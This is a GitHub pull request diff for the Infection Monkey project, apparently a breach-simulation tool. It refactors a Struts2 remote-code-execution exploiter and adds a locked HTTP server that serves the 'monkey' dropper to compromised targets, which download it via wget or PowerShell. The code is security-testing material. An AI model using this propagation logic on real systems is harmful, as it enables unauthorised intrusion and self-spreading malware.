Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Web rce framework #159

Merged
merged 14 commits into from Aug 22, 2018
Merged
15 changes: 9 additions & 6 deletions infection_monkey/exploit/struts2.py
Expand Up @@ -12,7 +12,7 @@
from exploit import HostExploiter
from exploit.tools import get_target_monkey, get_monkey_depth
from tools import build_monkey_commandline, HTTPTools
from model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, RDP_CMDLINE_HTTP, \
from model import CHECK_COMMAND, POWERSHELL_HTTP_UPLOAD, WGET_HTTP_UPLOAD, ID_STRING, RDP_CMDLINE_HTTP, \
DROPPER_ARG

__author__ = "VakarisZ"
Expand All @@ -21,6 +21,9 @@

DOWNLOAD_TIMEOUT = 300

# Commands used to check if monkeys already exists
FIND_FILE = "ls %s"

class Struts2Exploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows']

Expand Down Expand Up @@ -56,7 +59,7 @@ def exploit_host(self):
return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64])

def check_remote_file(self, host, path):
command = EXISTS % path
command = FIND_FILE % path
resp = self.exploit(host, command)
if 'No such file' in resp:
return False
Expand Down Expand Up @@ -88,7 +91,7 @@ def exploit_linux(self, url, dropper_path):

cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)

command = WGET_HTTP % {'monkey_path': dropper_path,
command = WGET_HTTP_UPLOAD % {'monkey_path': dropper_path,
'http_path': http_path, 'parameters': cmdline}

self.exploit(url, command)
Expand Down Expand Up @@ -138,7 +141,7 @@ def exploit_windows(self, url, dropper_paths):
# We need to double escape backslashes. Once for payload, twice for command
cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path))

command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
'http_path': http_path, 'parameters': cmdline}

backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path),
Expand All @@ -159,7 +162,7 @@ def exploit_windows(self, url, dropper_paths):

@staticmethod
def check_exploit_windows(url):
resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS)
resp = Struts2Exploiter.exploit(url, CHECK_COMMAND)
if resp and ID_STRING in resp:
if "64-bit" in resp:
return "64"
Expand All @@ -170,7 +173,7 @@ def check_exploit_windows(url):

@staticmethod
def check_exploit_linux(url):
resp = Struts2Exploiter.exploit(url, CHECK_LINUX)
resp = Struts2Exploiter.exploit(url, CHECK_COMMAND)
if resp and ID_STRING in resp:
# Pulls architecture string
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
Expand Down
59 changes: 58 additions & 1 deletion infection_monkey/exploit/tools.py
Expand Up @@ -21,7 +21,8 @@
from network import local_ips
from network.firewall import app as firewall
from network.info import get_free_tcp_port, get_routes
from transport import HTTPServer
from transport import HTTPServer, LockedHTTPServer
from threading import Lock


class DceRpcException(Exception):
Expand Down Expand Up @@ -386,6 +387,35 @@ def create_transfer(host, src_path, local_ip=None, local_port=None):

return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd

@staticmethod
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
"""
Create http server for file transfer with a lock
:param host: Variable with target's information
:param src_path: Monkey's path on current system
:param local_ip: IP where to host server
:param local_port: Port at which to host monkey's download
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
"""
# To avoid race conditions we pass a locked lock to http servers thread
lock = Lock()
lock.acquire()
if not local_port:
local_port = get_free_tcp_port()

if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)

if not firewall.listen_allowed():
return None, None

httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)

httpd.daemon = True
httpd.start()
lock.acquire()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd


def get_interface_to_target(dst):
if sys.platform == "win32":
Expand Down Expand Up @@ -481,3 +511,30 @@ def get_binaries_dir_path():
def get_monkey_depth():
from config import WormConfiguration
return WormConfiguration.depth


def get_monkey_dest_path(url_to_monkey):
"""
Gets destination path from source path.
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from configuration
"""
from config import WormConfiguration
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
return False
try:
if 'linux' in url_to_monkey:
return WormConfiguration.dropper_target_path_linux
elif 'windows-32' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_32
elif 'windows-64' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_64
else:
LOG.error("Could not figure out what type of monkey server was trying to upload, "
"thus destination path can not be chosen.")
return False
except AttributeError:
LOG.error("Seems like monkey's source configuration property names changed. "
"Can not get destination path to upload monkey")
return False